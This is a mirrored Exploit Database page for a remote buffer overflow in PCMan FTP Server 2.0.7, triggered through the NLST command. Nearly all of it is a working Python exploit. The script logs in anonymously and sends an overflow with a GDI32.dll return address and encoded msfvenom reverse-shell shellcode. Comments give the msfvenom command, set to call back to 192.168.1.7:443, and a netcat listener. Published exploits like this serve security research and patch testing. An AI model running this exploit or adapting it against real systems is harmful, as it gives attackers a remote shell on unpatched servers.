PCMan FTP Server 2.0.7 – ‘NLST’ Remote Buffer Overflow

• Exploit Database
• 14 阅读

• 作者： Karri93
  日期： 2016-11-04
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/40712/

• #!/usr/bin/env python
  # -*- coding: utf-8 -*-
  import socket
  
  
  #Exploit Title: PCMan FTP Server 2.0 Buffer Overflow NLST command
  #Date: 03/11/16
  #Exploit Author: Karri93
  #Version: 2.0
  #Tested on: Windows XP Profesional SP3 Spanish x86 
  #CVE: N/A
  
  
  #Shellcode Metasploit:
  #msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.7 LPORT=443 -b '\x00\x0A\x0D' -f -c 
  #nc -lvp 443
  
  
  ret= "\x2F\x1D\xF1\x77" #GDI32.dll
  
  shellcode=("\xd9\xc4\xd9\x74\x24\xf4\x5b\x33\xc9\xb1\x52\xba\x9b\x84\x71"
  "\xb0\x83\xc3\x04\x31\x53\x13\x03\xc8\x97\x93\x45\x12\x7f\xd1"
  "\xa6\xea\x80\xb6\x2f\x0f\xb1\xf6\x54\x44\xe2\xc6\x1f\x08\x0f"
  "\xac\x72\xb8\x84\xc0\x5a\xcf\x2d\x6e\xbd\xfe\xae\xc3\xfd\x61"
  "\x2d\x1e\xd2\x41\x0c\xd1\x27\x80\x49\x0c\xc5\xd0\x02\x5a\x78"
  "\xc4\x27\x16\x41\x6f\x7b\xb6\xc1\x8c\xcc\xb9\xe0\x03\x46\xe0"
  "\x22\xa2\x8b\x98\x6a\xbc\xc8\xa5\x25\x37\x3a\x51\xb4\x91\x72"
  "\x9a\x1b\xdc\xba\x69\x65\x19\x7c\x92\x10\x53\x7e\x2f\x23\xa0"
  "\xfc\xeb\xa6\x32\xa6\x78\x10\x9e\x56\xac\xc7\x55\x54\x19\x83"
  "\x31\x79\x9c\x40\x4a\x85\x15\x67\x9c\x0f\x6d\x4c\x38\x4b\x35"
  "\xed\x19\x31\x98\x12\x79\x9a\x45\xb7\xf2\x37\x91\xca\x59\x50"
  "\x56\xe7\x61\xa0\xf0\x70\x12\x92\x5f\x2b\xbc\x9e\x28\xf5\x3b"
  "\xe0\x02\x41\xd3\x1f\xad\xb2\xfa\xdb\xf9\xe2\x94\xca\x81\x68"
  "\x64\xf2\x57\x3e\x34\x5c\x08\xff\xe4\x1c\xf8\x97\xee\x92\x27"
  "\x87\x11\x79\x40\x22\xe8\xea\xaf\x1b\xf3\xed\x47\x5e\xf3\xf0"
  "\x2c\xd7\x15\x98\x42\xbe\x8e\x35\xfa\x9b\x44\xa7\x03\x36\x21"
  "\xe7\x88\xb5\xd6\xa6\x78\xb3\xc4\x5f\x89\x8e\xb6\xf6\x96\x24"
  "\xde\x95\x05\xa3\x1e\xd3\x35\x7c\x49\xb4\x88\x75\x1f\x28\xb2"
  "\x2f\x3d\xb1\x22\x17\x85\x6e\x97\x96\x04\xe2\xa3\xbc\x16\x3a"
  "\x2b\xf9\x42\x92\x7a\x57\x3c\x54\xd5\x19\x96\x0e\x8a\xf3\x7e"
  "\xd6\xe0\xc3\xf8\xd7\x2c\xb2\xe4\x66\x99\x83\x1b\x46\x4d\x04"
  "\x64\xba\xed\xeb\xbf\x7e\x1d\xa6\x9d\xd7\xb6\x6f\x74\x6a\xdb"
  "\x8f\xa3\xa9\xe2\x13\x41\x52\x11\x0b\x20\x57\x5d\x8b\xd9\x25"
  "\xce\x7e\xdd\x9a\xef\xaa")
  
  buffer= '\x90'*30 + shellcode
  buffer1= '\x41' * 2007 + ret + buffer + '\x43'*(696-len(buffer)) 
  print "Sending..."
  
  s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  connect=s.connect(('192.168.1.43',21))
  s.recv(1024)
  s.send('USER anonymous\r\n')
  s.recv(1024)
  s.send('PASS \r\n')
  s.recv(1024)
  s.send('NLST' + buffer1 + '\r\n')
  s.close()